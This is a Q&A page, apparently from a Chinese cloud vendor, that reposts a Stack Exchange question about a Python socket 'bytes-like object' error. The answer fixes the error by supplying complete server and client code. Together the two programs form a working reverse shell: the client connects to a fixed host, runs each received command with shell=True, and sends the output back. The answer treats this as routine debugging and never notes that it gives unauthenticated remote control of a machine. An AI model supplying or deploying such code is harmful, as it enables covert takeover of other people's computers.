You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python Socket服务端与客户端通信报错TypeError: a bytes-like object is required, not 'str'求助

Fixing the "bytes-like object is required" Error in Your Socket Server/Client

Hey there! Let's break down and fix the error you're seeing. The TypeError: a bytes-like object is required, not 'str' happens because Python 3's socket methods work with bytes, not raw strings. Let's adjust both your server and client code to handle this properly.

Why the Error Occurs

When you call v.send(mssge) in your server, mssge is a string (from input()), but send() expects a bytes object. The same goes for handling received data—you'll need to convert between bytes and strings where necessary to make the communication work.

Modified Server Code

We'll convert the input string to bytes with encode() before sending, and decode received bytes back to a string for readable output:

import socket
s = socket.socket()
h="192.168.1.2"
p=665
s.bind((h, p))
print ("YOUR SESSION HAS BEEN CREATED IN PORT : ", p)
s.listen(1)
v, addr = s.accept()
print("SUCCESS CONNECTION ...", addr)
mssge = input ("==> ")
while mssge != 'e':
    # Encode string to bytes before sending
    v.send(mssge.encode('utf-8'))
    data = v.recv(1024)
    # Decode bytes to string for readable printing
    print(data.decode('utf-8'))
    mssge = input ("==> ")
s.close()

Modified Client Code

On the client side, we need to decode the received command bytes to a string before passing it to subprocess.Popen(), then send back the raw bytes from the command output (since stdout.read() already returns bytes):

import subprocess
import socket
s= socket.socket()
h="192.168.1.2"
p=665
s.connect((h, p))
while True:
    data = s.recv(1024)
    if not data:
        break
    # Convert received bytes to string and clean up extra whitespace
    cmd = data.decode('utf-8').strip()
    co = subprocess.Popen(cmd, shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    ct = co.stdout.read() + co.stderr.read()
    # Send the raw output bytes back to the server
    s.send(ct)
s.close()

Key Notes

  • Encoding Consistency: We used utf-8 here—if your system uses a different default encoding (like gbk on Windows), adjust the encode()/decode() calls to match your system's setting.
  • Whitespace Handling: The strip() in the client removes any extra newlines or spaces from the received command, ensuring it executes correctly without unexpected errors.
  • Exit Behavior: When you type e in the server, the loop exits and the socket closes. The client will detect the empty recv() result and close its connection automatically.

内容的提问来源于stack exchange,提问作者elharam4

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.28 17:53:10